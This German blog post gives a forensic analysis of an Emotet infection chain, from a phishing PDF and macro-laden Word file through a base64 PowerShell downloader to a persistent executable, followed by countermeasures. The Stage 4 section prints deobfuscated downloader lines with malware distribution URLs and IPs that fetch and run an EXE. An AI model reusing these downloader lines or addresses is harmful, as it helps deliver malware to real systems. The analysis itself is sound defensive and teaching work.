WS IT-Solutions

Forensik einer Trojaner-Infektion

In den letzten Monaten steht der Trojaner Emotet immer wieder in den Schlagzeilen. Das er leistungsfähig ist kann kaum wiederlegt werden. Aber wie wird man eigentlich infiziert? Nur wenn man die Infektionswege und Varianten versteht, kann man sich richtig schützen.

Um dieses Thema zu klären habe ich eine scharfe Variante analysiert. Das Ergebnis möchte ich in diesem WSHowTo präsentieren.

In meinem Szenario erhält ein Benutzer eine Mail mit einem PDF im Anhang. Er muss also aktiv am Start des Trojaners beteiligt werden. Dann folgt eine Kette von Ereignissen. Zuletzt ist der Schadcode aktiv. Ich werde die einzelnen Phasen (Stages) separat beleuchten und bewerten.

Aufbau der Testumgebung

Damit es bei der Untersuchung des Schadcodes nicht zu einer unkontrollierten Ausbreitung kommt, ist eine Testumgebung wichtig. Diese muss aber unter Umständen das Internet erreichen können. In meinem Setup steht der Testclient in einem separaten Netzwerksegment. Sein Gateway ist eine PFSense – ein Firewallsystem, dass aktuell keine Kommunikation nach außen zulässt. Die Internetleitung wird nur von den LAB-Maschinen genutzt. Zusätzlich steht ein isoliertes, autonomes System im gleichen Netzwerk. Darauf läuft ein WireShark. Dank SwitchPort-Mirroring kann er den ein- und ausgehenden Traffic des Testclients mitschneiden, ohne selber erreichbar zu sein und ohne Kenntnis des Testclients.

Die Infektion – Forensik

Stage 1 - eine PDF-Datei als Mailanhang

Der Benutzer erhält eine Mail mit einer PDF. Die Mail nutzt dabei Bausteine, die den Empfänger:

  • unter Druck setzen: Das können z.B. Mahnungen für offene Rechnungen sein. Wer hat schon gerne Schulden? In Firmen kann es durchaus Ärger geben, wenn man als Angestellter eine Rechnung nicht in die Buchhaltung weitergeleitet hat und die Firma dafür geradestehen muss.
  • neugierig machen: Hier finden wir oft im Text einer Mail Hinweise auf vertrauliche Informationen in der angehängten Datei, die wohl „versehentlich“ an den Empfänger gesendet wurden… Besonders perfide ist es, wenn da z.B. der Name eines Kollegen im Dateinamen der „Abmahnung“ oder „Kündigung“ drinsteht. „Was hat der wohl angestellt…“ KLICK.
  • nicht irritieren, weil er den Empfang erwartet: Das könnte z.B. eine „Bewerbung“ für eine ausgeschriebene Stelle im Unternehmen sein. Ebenso könnte ein Vertriebsmitarbeiter durch eine vorherige „Korrespondenz“ den Erhalt einer Mail vom vermeintlichen Neukunden erwarten. Vertrauen und die Erwartung von Profit spielen eine wichtige Rolle.

In dieser Mail wurde die „Rechnungs-Masche“ angewandt:

Dem geübten Auge wird hier sofort der Fake auffallen. Dennoch genügt es, wenn EIN Benutzer in der Firma darauf hereinfällt: Ein Trojaner könnte die Kontakte seines Opfers auslesen und sich in dessen Namen mit seiner Mailadresse weiterverbreiten. Die so erzeugten Mails sind für die nächsten Empfänger viel realer, denn sie könnten Antworten auf bereits gesendete Mails sein!

OK, der Benutzer hat die Mail geöffnet und klickt nun auf das PDF. Diese Datei enthält folgenden Text:

Hört ihr, wie meine Augen rollen? Schlechter kann so etwas gar nicht sein! Statt der erwarteten Rechnung soll der Benutzer auf den Link klicken, um die Datei zu öffnen. Na gut, wo zeigt der Link hin?

Die „Rechnung“ liegt also als gescanntes Dokument auf einem Webserver, der über seine IPv4 angesprochen wird… Das muss nicht immer so schlecht wie in diesem Beispiel aussehen. Daher spielen wir weiter. Jetzt geht es also erst einmal ins Internet.

Stage 2 - der Link in der PDF-Datei

Was bekommt man, wenn man auf den Link klickt? Und viel wichtiger: wie klickt man für eine Forensik auf den Link, ohne das Element dahinter zu starten? Das kann die PowerShell mit der .net-Methode „DownloadString“:

Mit der PowerShell kann ich das Element als Text anzeigen lassen. Dieser Text sollte ungefährlich sein. Aus den dargestellten Informationen kann man erkennen, dass es eine Word-Datei ist. Laden wir die Datei einmal herunter uns sehen nach:


Stage 3 - die Word-Datei

Nun öffne ich die Word-Datei mit Word 2016. In meiner Testumgebung gibt es für Office keine GPOs. Dennoch genügen hier die entgegen der weitläufigen Meinung die Standardeinstellungen für einen Schutz:

Die Datei stammt aus dem Internet. Word kann dieses Attribut erkennen und reagiert mit einem schreibgeschützten Öffnen. Netterweise steht in der Datei selber, wie man das umgehen kann… Natürlich in englisch – was würde man sonst auch erwarten. Leider zeigt Word den Schalter in einem auffälligen, gelben Banner an – das zieht Endanwender irgendwie magisch an. Und jetzt kommt ja auch die Neugier ins Spiel: Wo ist denn nun die vermeintliche Rechnung??

Ein Restrisiko bleibt natürlich bei der Untersuchung. Daher starte ich eine Instanz von ProcMon aus den Sysinternal-Tools. Damit kann ich das Verhalten aufzeichnen. Nun aktiviere ich die Bearbeitung. KLICK.

Nach der Aktivierung schützt Word den Benutzer weiter, indem Makros – also ausführbarer, eingebetteter Code – nicht ausgeführt werden. Leider kann der Benutzer das in den Standardeinstellungen leicht mit einem Klick auf den Schalter im 2. Banner umgehen (so steht es ja schließlich auch in der „Anleitung“) – und somit wird der Code gestartet:

Für die Forensik wäre jetzt natürlich ein Blick in diesen Makrocode interessanter. Daher starte ich dessen Anzeige mit <ALT>+<F11>:

OK, das sieht wüst aus. Hier sollen Virenscanner und Administratoren verwirrt werden. Dennoch ist in dem über 1000 Zeilen langen Text eine Anweisung enthalten! Der Code wurde bestimmt nicht von Hand getippt sondern durch ein Script oder Ähnliches erstellt. Diese Art von ScriptCode nennen wir Obfuskierung (Verschleierung).

2 Merkmale sind erkennbar:

  • Es existieren extrem viele IF-Statements mit komplexen Aktionen, die aber nie ausgeführt werden, weil die Bedingungen nie wahr werden – das sind einfach Füller für den Virenscanner… Da die sinnfreien Zeilen zufällig generiert werden, wird immer ein neuer „Schadcode“ in der Totalen generiert.
  • Zwischen den IF-Statements stehen Textbausteine, die eine Befehlszeile ergeben.

Nehmen wir den Code einmal auseinander. Ganz unten ab Zeile 1094 (!!) steht die AutoOpen-Funktion. Diese wird von Word beim Öffnen des Dokumentes automatisch ausgeführt, wenn es die Makroeinstellungen erlauben:

Die Bedingung in Zeile 3 prüft 2 Variablen gegeneinander. Beide wurden aber nicht initialisiert. Daher sind beide NULL. Und NULL ist nie ungleich NULL. Daher ist der gesamte Code in den Zeilen 3 bis 8 reines Füllmaterial! Blenden wir diese sinnfreien Zeilen einmal aus. Dazu speichere ich die Codezeilen in einer Textdatei und nutze einige PowerShell-Zeilen zum Ausblenden der IFs und zum optischen Einrücken:

Das sieht schon viel besser aus:

Der Code startet eine versteckte PowerShell mit einem Base64-encrypted Code! Das verraten z.B. die Zeilen 7 (Process…Create), 13 (powershelL -e) oder 111 („powershell„. Nun interessiert mich das Ergebnis – also die fertige Befehlszeile. Daher modifiziere ich den VBA-Code und gebe den PS-Code als Textdatei aus, statt ihn auszuführen. Eine Ausgabe OHNE AUSFÜHRUNG ist mit dieser alternativen AutoOpen-Sub möglich:

Wenn ihr euch nicht sicher seid, ob die Ausführung sicher ist, dann prüft die Ausführung mit Einzelschritten!

Ich starte meinen modifizierten Code:

Das Ergebnis ist eine Textdatei auf dem Desktop meiner Testuserin. Darin finde ich den PowerShell-Code:

Die PowerShell kann diese Zeile lesen und ausführen. Nur was wird das sein?

Stage 4 - der PowerShell-Code

Base64 ist eine Kodierung und keine Verschlüsselung. Wie sollte die PowerShell das sonst lesen können? Also können auch wir den Code lesbar darstellen. Dafür brauche ich folgende Anweisung:

Puh, schon wieder obfuskiert! OK, dann zaubern wir den Text mal etwas lesbarer. Jedes Semikolon stellt in der PowerShell das Ende eines Befehles dar und entspricht somit einen Zeilenumbruch:

Der Rest ist nun ausreichend lesbar. Es sind wieder Füllzeilen mit Zufallszahlen enthalten. Diese sollen Virenscanner täuschen. Mit etwas optischer Korrektur kommen nun folgende Anweisungen raus:

Zeile Code & Bedeutung
2 $N44_4_=new-object Net.WebClient

Hier wird .net verwendet, um eine Internetverbindung zu einem Webserver aufzubauen.

3 $P16_80_9=(‚http:’+’//’+’ba’+’zee3’+’65.com/v’+’59HxZ’+’y@http:’+’//gianca’+’r’+’loras’+’o.co’+’m/xwSiP54’+’7@’+’http://1’+’3.233.1’+’83.227’+’/5

VfqqsmV@h’+’ttp’+‘://1’+’28.1’+’99.187.1’+’24/v3’+’5hrbFz@http://104.’+’22’+’3.’+’40’+‘.40’+’/8CqR’+’IJhG’+’4′).Split(‚@‘)

Das sind die URL’s, die verwendet werden sollen. Diese werden als ein Textarray gespeichert, das aus einem Einzeiler durch Aufteilung (Split) gebildet wird. Das sind die Adressen:

4+7 $r06398_=(‚K3043’+’6’+’4‘)

$m68_88 = (‚3’+’45‘)

$A_5_44_1=(‚j__0’+’21‘)

$P76___=$env:userprofile+’\’+$m68_88+(‚.e’+’xe‘)

In Zeile 4 und 7 wird ein Pfad zusammengebaut. Dieser löst sich so auf:

Da wird eine ausführbare Datei gespeichert!

8 Dieser Code versucht die Datei aus dem Internet zu laden und als 345.exe ($P76__) zu speichern:

10 If ((Get-Item $P76___).length -ge 40000) {Invoke-Item $P76___

Hier wird die Datei ausgeführt, wenn sie vorhanden ist.

Alle anderen Zeilen sind Füller. Die PowerShell ist also ein Downloader und Launcher für eine EXE-Datei.

Für die weitere Untersuchung brauche ich diese EXE-Datei. Dafür starte ich einfach den PowerShell-Code bis zur Zeile 9 – also ohne das Ausführen in Zeile 10. Tada:


Stage 5 - die EXE #1

Bisher war es einfach, der Attacke zu folgen, denn alle Codes waren irgendwie lesbar. Eine EXE-Datei lässt sich nicht so einfach durchschauen. Aber es gibt Tools, die uns helfen können. Z.B. das kostenlose PEStudio:

Aha, es scheint ein EMOTET zu sein!

Da ich nun eine Testumgebung aufgebaut habe und die Attacke gerne bis zum Ende zeigen möchte, starte ich den Trojaner. ACHTUNG: Es wird immer ein gewisses Restrisiko verbleiben! Nutzt daher Schutzmechanismen! In meinem Fall

hängt der Testclient ganz alleine an einer separaten Internetleitung. Diese kann ich jederzeit kappen. Zusätzlich wird der Traffic ausgehend durch eine PFSense geleitet, welche den Datenstrom zunächst komplett blockiert. Und mit einer WireShark-Instanz spiegele ich den Netzwerktraffic auf ein autonomes System.

Dazu kommt wieder der ProcMon (ProcessMonitor) von SysInternals auf dem Testclient zum Einsatz. Los geht’s. Die Datei 345.exe wird gestartet – und verschwindet! Was ist passiert? ProcMon liefert die Antwort:

In der exe steckte eine ZIP-Datei. Diese wurde nach „c:\users\%username%\Appdata\local“ als reswzip.zip extrahiert und dann weiter als „c:\users\%username%\Appdata\local\reswzip\reswzip.exe“ entpackt. Danach wurde diese neue ausführbare Datei gestartet und die 345.exe wurde gelöscht:


Stage 6 - die EXE #2

Welche Aufgabe hat diese Datei? Es ist das gleiche Spiel wie bei der ersten Datei: ein PEStudio liefert Antworten:

Viel aufschlussreicher ist aber mein ProcMon. Die kleine exe-Datei will unbedingt ins Internet:

Dabei werden etliche IPs und Protokolle durchprobiert! Irgendwo wird es bestimmt eine Lücke geben. Meine Firewall ist da natürlich anderer Meinung:

Die Finale Frage: was passiert, wenn diese Verbindung nach außen aufgebaut werden kann? Dazu gebe ich einen der gesuchten Ports mit der passenden IPv4 nach außen frei. Gerne einen, bei dem ich den Traffic mitlesen kann, also vielleicht kein https:

Im ProcMon sieht man schön die erfolgreiche Verbindung zu einem der Zielserver:

Mein WireShark hat folgende Informationen ausgelesen:

Im http sind folgende Informationen enthalten:

Der Zielserver hat eine Antwort auf den Request gesendet (die beiden letzten Zeilen im Bild). Diese kann ich nicht entschlüsseln. Ein Blick in die Dateizugriffe zeigt, dass sich der Prozess für RSA interessierte:

Da sollen wir wohl nicht mitlesen… ☹

Nach der Message hat die EXE-Datei aber eine weitere Aktion ausgeführt: sie hat sich in den Autostart eingetragen! Das hat sie die gesamte Stunde vorher ohne Internetverbindung nicht gemacht…

AutoRuns von SysInternals kann das bestätigen:

Und seitdem ist die Anwendung ruhig. Anscheinend lautete das Kommando von außen: „Einnisten und Abwarten“.

Die Tarnung variiert übrigens je nach Berechtigung des Benutzers. Mein erster Versuch wurde von einem Standardbenutzer ausgeführt. Hat der Account lokaladministrative Rechte, dann tarnt sich der Prozess viel intensiver – und weitet zudem gleich noch seine Rechte aus:

Die Datei verschwindet aus dem Appdata-Verzeichnis:

Aber ProcMon weiß genau, was damit passiert ist:

Nun steht sie in einem Systemverzeichnis. Was macht die Datei denn hier? Natürlich als Service wiederkommen…

Der kleine Trojaner reagiert also auf seine Umgebung! Welche Aktionen wird er wohl nach seiner Ruhepause ausführen? Hier könnt ihr eure Fantasie spielen lassen! Der Angreifer hat einen Fuß in der Umgebung. Der Anfang ist geschafft!!!

Gegenmaßnahmen

Was ist denn bei diesem Szenario alles schiefgelaufen? Und wo kann ein Administrator mit welchen Mitteln gegensteuern? Betrachten wir dazu noch einmal die einzelnen Stages…

Stage 1 - die PDF-Datei als Mailanhang

Die Mail hätte niemals zugestellt werden dürfen. Nur nach welchen Kriterien sollte sie gefiltert werden? Der Anhang ist doch harmlos, oder? Zudem können sich viele Firmen eine zu restriktive Mailfilterung einfach nicht erlauben. Und da SPAM-Filter auch erst lernen müssen, wird irgendwo immer jemand der erste sein!

Hier hilft nur Benutzersensibilisierung. Klärt eure Mailbenutzer auf, was sie erwartet! Ebenso hat es sich bewährt, eine Mailadresse spam@<interne.domain> einzurichten, an welche die Benutzer die Mail zur Prüfung weiterleiten können. Das könnte eine Fachabteilung oder der Helpdesk übernehmen. Aber ACHTUNG: diese weitergeleitete Mail sollte unbedingt einen Warnhinweis im Betreff enthalten, damit der Empfänger nicht selber darauf hereinfällt! Das wäre z.B. mit einer TransportRegel in einem Exchange Server machbar.

Stage 2 - der Link in der PDF-Datei

Der Link zeigte auf eine URL mit einer IP-Adresse. Damit umgehen die Angreifer PI-Holes, welche die DNS-Anfragen zu dubiosen Seiten einfach ins Leere laufenlassen. Dafür könnte aber ein ausgehender Filter ins Internet URLs mit IPs einfach blockieren. Seriöser Content sollte bitte nur über DNS-Namen erreichbar sein…
Stage 3 - die Word-Datei

Auch hier wäre ein Filter in der Firewall denkbar. Muss denn eine Word-Datei direkt aus dem Internet geladen werden?? Verlasst euch hier mal nicht auf den Virenscanner, der ja die heruntergeladene Datei auf der Festplatte untersuchen kann. Durch die Verschleierungen gibt es hier immer wieder zeitliche Lücken!

Dafür kann mit einer GPO zentral die Ausführung von VBA-Makros komplett deaktiviert werden:

Dann wäre der Code einfach nicht gestartet:

Jaja, VBA wird natürlich überall gebraucht, da alle Büros voll sind mit VBA-Spezialisten, gell? Spass beiseite: VBA-Code lässt sich digital signieren und die Ausführung lässt sich auf signierte Makros über GPOs einschränken:

Das Makro wird nicht mehr gestartet – ohne Ausnahme-Schalter und ohne Warnung . Wenn der Benutzer es selber versucht, dann erscheint eine Fehlermeldung:

Was gar nicht geht ist die permanente Deaktivierung der Makroschutzfunktion! Dann fragt Office einfach gar nicht mehr nach und startet den Code vollautomatisch im Hintergrund!!!

Wer die Signatur nicht hinbekommt: ihr benötigt ein Code-Signaturzertifikat von euer internen PKI oder offiziell aus dem Internet. Dann könnt ihr den fertigen Code einfach signieren:


Stage 4 - der PowerShell-Code

Die PowerShell ist ein tolles Werkzeug. Sie kann nicht deaktiviert werden. Aber es gibt interessante Zusatzfunktionen:

  • PowerShell ScriptBlock-Logging (via GPO seit Windows 7) kann die obfuskierten Base64-Codes sichtbar im Eventlog ablegen. Hier könnte ein SIEM (EventLog-Analyzer) die Daten zentral auswerten und Alarm schlagen.
  • PowerShell Transcript (via GPO ab Windows 7) kann jede Scriptausführung in Textdateien protokollieren. Diese können zentral auf einem Fileserver zusammenlaufen und automatisiert nach Schlüsselworten durchsucht werden. Auch hier wäre der stille Alarm die Zielsetzung, denn ein Protokoll alleine ändert nichts am laufenden Code.
  • PowerShell Constrained Language Mode (via GPO, ab Windows 10; mit Applocker nur in Enterprise) verhindert, dass Standardbenutzer erweiterte Codes (wie den .net-Aufruf DownloadString) ausführen können:

  • PowerShell AMSI (AntiMalwareScanInterface ab Windows 10) bietet eine Schnittstelle für kompatible Virenscanner, die den Klartext-Code vor dessen Ausführung noch einmal prüfen können. Eine feine Sache…

Auch die PowerShell musste über das Netzwerk einen Download starten. Das könnte durch eine passende Endpoint-Protection verhindert werden. Hier seht ihr den Downloadversuch der EXE-Datei auf einem meiner Clients:

Mein AntiVirus kannte bereits einige der dubiosen Adressen. Aber leider nicht alle. Eine hatte funktioniert! Hier hat dafür mein Intrusion Prevention System (IPS) Snort zugeschlagen:

Dieses Modul läuft auf meiner Firewall mit. Eine Firewall-Regel alleine hätte nichts gebracht, da Port 80 im allgemeinen offen ist. Snort schaut sich aber den Traffic dahinter genau an und entscheidet blitzschnell, ob der Datenstrom problematisch ist. Man erkennt schön in den DEscriptions, dass Snort einen Second Stage Download einer EXE erkannt hat. Darauf wurde eine dynamische Firewall-Regel erstellt und der Datenstrom wurde blockiert:

Das ist eine feine Sache. Denkt aber bitte auch an ein Alerting! Es nützt nichts, wenn ein IPS still im Hintergrund werkelt und niemand die problematischen Ereignisse mitbekommt. Ich als Administrator habe kurz nach der Sperre eine Mail bekommen:

Natürlich berührt diese Datei auch die Festplatte des Clients, wo der Virenscanner wieder aktiv untersuchen kann. Aber wie gesagt: der Scanner kann getäuscht werden oder den Zustand noch nicht kennen. Zudem gibt es immer wieder auch PowerShell-Codes, die ausschließlich im Arbeitsspeicher landen…

Stage 5 - die EXE #1

Ich gebe vielen unserer Nicht-Windows-Administratoren Recht: das man unter Windows als einfacher Benutzer nahezu fast alles ausführen kann ist einfach ein Unding. In der Enterprise-Edition gibt es aber den Applocker. Mit dieser Betriebssystem-Komponente kann über zentrale Richtlinien gesteuert werden, wer was ausführen darf:

Ein Start des Trojaners würde dann so aussehen:

Natürlich gilt auch hier: der Applocker hält zunächst nur ausführbare Dateien auf. Scripte oder InMemory-Anwendungen interessieren ihn erst einmal nicht.

Stage 6 - die EXE #2

Die 2. Anwendung hätte man mit den Maßnahmen der anderen Stages ebenfalls aufgehalten: der Applocker hätte die Ausführung verhindert und die Firewall und das IPS hätten die Kommunikation nach außen einschränken können.

Zusätzlich wäre aber auch die Tarnung und die Persistence (also das dauerhafte Einnisten) abzuschwächen. Ihr habt gesehen, dass sich die Datei als Service registriert, wenn der infizierte Benutzer über lokale Administratorrechte verfügt. Eine konfigurierte Benutzerkontensteuerung hätte dies auch verhindert. In einem weiteren Test hatte ich der Benutzerin Tessa.Test auch lokaladministrative Rechte gegeben – und dann hab ich die UAC auf maximalen Schutz konfiguriert. Das Ergebnis: die 2. EXE hat sich auch nur mit einem AutoRun-Eintrag registriert, da sie sonst mit einem UAC-Promt auf sich aufmerksam gemacht hätte. Ohne administrative Rechte wäre es natürlich auch nicht zu einem laufenden Service gekommen.

Dieser Ansatz ist durchaus eine Überlegung wert: „Administratoren bzw. administrative Konten kommen nicht ins Internet und Konten mit Internetzugang bekommen keine administrativen Rechte“. Das Administrieren wird natürlich nicht mehr so bequem sein – aber es ist ein guter Schritt in Richtung sichere Systeme.

Fazit

Es braucht durchaus unwissende Benutzer und fehlende oder mangelhafte Sicherheitsstandards, damit eine Infektion funktioniert. Aber denkt daran: es genügt EIN kompromittiertes System. Die Techniken werden immer raffinierter. Ist eure Infrastruktur darauf vorbereitet?

Stay tuned!

Ach ja, hier gibts das PDF zum Artikel.